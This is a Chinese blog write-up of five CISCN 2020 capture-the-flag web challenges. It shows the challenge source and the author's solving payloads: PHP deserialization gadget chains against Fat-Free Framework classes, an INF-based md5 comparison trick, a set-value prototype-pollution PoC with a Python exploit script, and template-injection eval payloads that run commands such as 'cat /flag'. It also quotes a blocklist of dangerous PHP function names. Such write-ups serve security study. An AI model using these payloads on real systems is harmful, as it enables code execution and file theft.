CISCN 2020 Web Writeup | iluem'Blog

CISCN 2020 Web Writeup

发布 : 2020-08-21 分类 : Web 浏览 :

CISCN 2020 Web Writeup

easyphp


#源码
<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    //父进程和子进程都会执行下面代码
    if ($pid == -1) {
          //错误处理:创建子进程失败时返回-1.
        die('could not fork');
    }else if ($pid){
        //父进程会得到子进程号,所以这里是父进程执行的逻辑
        $r=pcntl_wait($status);//等待子进程中断,防止子进程成为僵尸进程。
        if(!pcntl_wifexited($status)){//检查状态代码是否代表一个正常的退出。当子进程状态代码代表正常退出时返回 false ,其他情况返回 true。
            phpinfo();
        }
    }else{
        //子进程得到的$pid为0, 所以这里是子进程执行的逻辑。
        highlight_file(__FILE__);     if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

此题的点无非就两个,要么先看phpinfo,要么直接命令执行,不过后边多出两个参数实在难以直接命令执行。但是题目给了phpinfo,而且提示给了让进程异常退出,异常退出则父进程进去看phpinfo,

如何构造函数让它退出呢。因为call_user_func_array后边加了两个参数

.尝试很多个函数无果后再仔细搜每个函数的作用,最终找到了源码中一个函数

image-20200821083521948

该函数正常返回值pid,异常返回-1,如果子进程异常退出则父进程查看phpinfo,所以要是能让它异常返回则拿到我们想要的东西了call_user_funcpcntl_wait

image-20200821084956522

让其返回值为-1,则进入phpinfo页面,搜索flag即找到flag。

babyunserialize

说实话这题太坑了,指的不是它难,是因为刚做过WMCTF一道几乎原题,不过函数给ban了。尝试好几个函数之后,终于能在本地执行了,可线上又不行,发现是php版本原因。7.2以下就不能执行,原因暂时不清楚,后边再看看。最后在队友的帮助下找到了一个WMCTF时候ban掉的函数,可真是太简单了吧。/(ㄒoㄒ)/~~

#jlg.php
function write($file,array $data=NULL) {
        if (!$this->dir || $this->lazy)
            return count($this->data[$file]=$data);
        $fw=\Base::instance();
        switch ($this->format) {
            case self::FORMAT_JSON:
                $out=json_encode($data,JSON_PRETTY_PRINT);
                break;
            case self::FORMAT_Serialized:
                $out=$fw->serialize($data);
                break;
        }
        return $fw->write($this->dir.$file,$out);
    }
function __destruct() {
        if ($this->lazy) {
            $this->lazy = FALSE;
            foreach ($this->data?:[] as $file => $data)
                $this->write($file,$data);
        }
    }

最终payload

<?php
namespace DB;
class Jig
{
    const     FORMAT_Serialized = 1;
    const       FORMAT_JSON = 0;
    protected $lazy = true;
    protected $dir = true;
    protected $format = true;
    protected $data = array("1.php"=>array("<?php phpinfo();?>"=>true));
}
echo urlencode((serialize(new Jig())));
//O%3A6%3A%22DB%5CJig%22%3A4%3A%7Bs%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3Bs%3A6%3A%22%00%2A%00dir%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00format%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%221.php%22%3Ba%3A1%3A%7Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Bb%3A1%3B%7D%7D%7D

后来找到问题了,问题在protected变量这。本地测试了7.2以上时public可以当protected用,WMCTF里的是7.4好像,但php版本小于7.2以下却不行。但在$events这,因为Agent类里边没有events这个变量,因此会默认生成,大概测试了后发现默认生成的是public,因此加不加public $events都行,但是不能家protected $events

<?php
namespace DB\SQL;
class Mapper
{
    protected $props;
    protected $adhoc;
    protected $fields;
    protected $db;
    function __construct()
    {
        $this->adhoc=['1'=>["1"=>"1"]];
        $this->fields=[];
        $this->props = ['quotekey' => "phpinfo"];
        $this->db = $this;
    }
}
namespace cli;
use DB\SQL\Mapper;
class Agent
{
    protected $server; 
   # public $events; 
    function __construct()
    {
        $this->server = $this;
        $this->events = ["disconnect" => [new Mapper(),"find"]];
    }
}
namespace cli;
class WS{
}
echo urlencode(serialize([new WS(),new Agent()]));

easytrick

源码如下

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

这题一开始没什么思路,比较和普通的md5不一样,弱类型,强碰撞都不行,尝试了'',NULL和FALSE,但是不满足第三个比较。最后想到1/0和INF,脑子一下冒出来了,居然就可行了,其实后来想也挺合理,INF从数值上看的话在php里是一个固定值,但是代表的含义却不同,这样也符合逻辑。

var_dump($this->trick1 !== $this->trick2);;
var_dump(md5($this->trick1) === md5($this->trick2));
var_dump($this->trick1 != $this->trick2);
bool(true)
bool(true)
bool(true)

<?php
class trick{
    public $trick1=1/0;
    public $trick2=2/0;
}
echo serialize(new trick());

//O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

littlegame

这道题其实挺简单的但是因为不熟悉node.js还是看了好久好久。

题目背景故事类似于balabenba

给了源码,而且比较友好,省去了大部分不必要的代码。

#主要逻辑在三个路由
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});

首先给了提示,从Privilege开始看大概意思是如果没有获取session要先跳转到SpawnPoint获取session值然后才能进行下一步操作,设置NewAttributeKeyNewAttributeValue通过POST传参。然后setFn不知道这是干嘛的,然后去搜了一下setvalue才明白类似于库的东西,不过同时搜到了cve的poc,如下所示。

const setFn = require('set-value');
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ]; 
function check() { 
    for (const p of paths) 
        { setFn({}, p, true); } 
    for (let i = 0; i < paths.length; i++) 
        { 
            if (({})[`a${i}`] === true)
            { console.log(`Yes with ${paths[i]}`); } 
        } 
} 
check();

放到环境下运行,可行,那么确定有漏洞了,然后去看了老久才明白这个简单的原型污染,然后接下来就简单了

const setFn = require('set-value'); 
const paths = [ 'constructor.prototype.abc' ]; 
var  knight = {
    "HP": 1000,
    "Gold": 10,
    "Firepower": 10
}
function check() { 
    for (const p of paths) 
    { setFn(knight, p, 10); } 
    for (var i = 0; i < paths.length; i++) 

    { console.log(({})[`password${i}`]);
    if (({})[`a${i}`] === true) 
    { console.log(`Yes with ${paths[i]}`); } } 
} 
check();
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
console.log(Admin["abc"]);

尝试了一下可行,那就直接上吧,因为在DeveloperControlPanel

 if(Admin[key] === password)
 res.send(process.env.flag);

如果相等就拿到flag,那么就让他们相等吧

# -*- coding:utf8 -*-
import requests
import json
headers = {
    'Content-Type': 'application/json'
}
data1 = {
    'NewAttributeKey': '__proto__.abc',
    'NewAttributeValue': '123456'
}
data2 = {
    'key':'abc',
    'password' : '123456'
}
myd = requests.session()
url1 = "http://eci-2zeii3a0go4amcdpx8zl.cloudeci1.ichunqiu.com:8888/SpawnPoint"
url2 = "http://eci-2zeii3a0go4amcdpx8zl.cloudeci1.ichunqiu.com:8888/Privilege"
url3 = "http://eci-2zeii3a0go4amcdpx8zl.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
myd.post(url2)
myd.post(url2, headers=headers, data=json.dumps(data1))
print (myd.post(url3,data=data2).content)

rceme

<?php
error_reporting(0);
#highlight_file(__FILE__);
#parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    //将特殊字符替换为html实体
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    //替换为*
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
   // if(preg_match("/^[a-z]$/i")){
   //     die('很抱歉,执行出错,发现危险字符');
   // }
    return $s;
}

function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        //将匹配到的字符串保存在多维数组matchers中
        var_dump($matches[0]);
        var_dump($matches[1]);
        var_dump($matches);
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            //对每一对匹配到的进行检测
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){//如果里边有等号
                $arr= splits($ifstr,'=');//以等号作为分隔符分割ifstr,数组赋值给arr
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );//将ifstr里的=号替换为==
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            //一系列替换
            if ( preg_match( '/\{|}/', $ifstr)) {
                //匹配{}?
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                /*ifstr=true)fpassthru(fopen($filename, "r"));elseif(false*/
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}

function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );//用str作为分隔符分割s为数组
    } else {
        return array( $s );
    }
}

看着挺复杂的,但是仔细去读感觉又是那么一回事,不过这个正则匹配有点东西,因为自己不熟悉,所以还是看了好久的。结果刚刚明白这个正则之后才发现有原题我去。呕血/ff。

参考payload

 {if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}{end i}

由于本题多过滤了一个rev,因此换一种方法吧。

 {if:var_dump(('ex'.'ec')('cat /flag'))}{end if}
留下足迹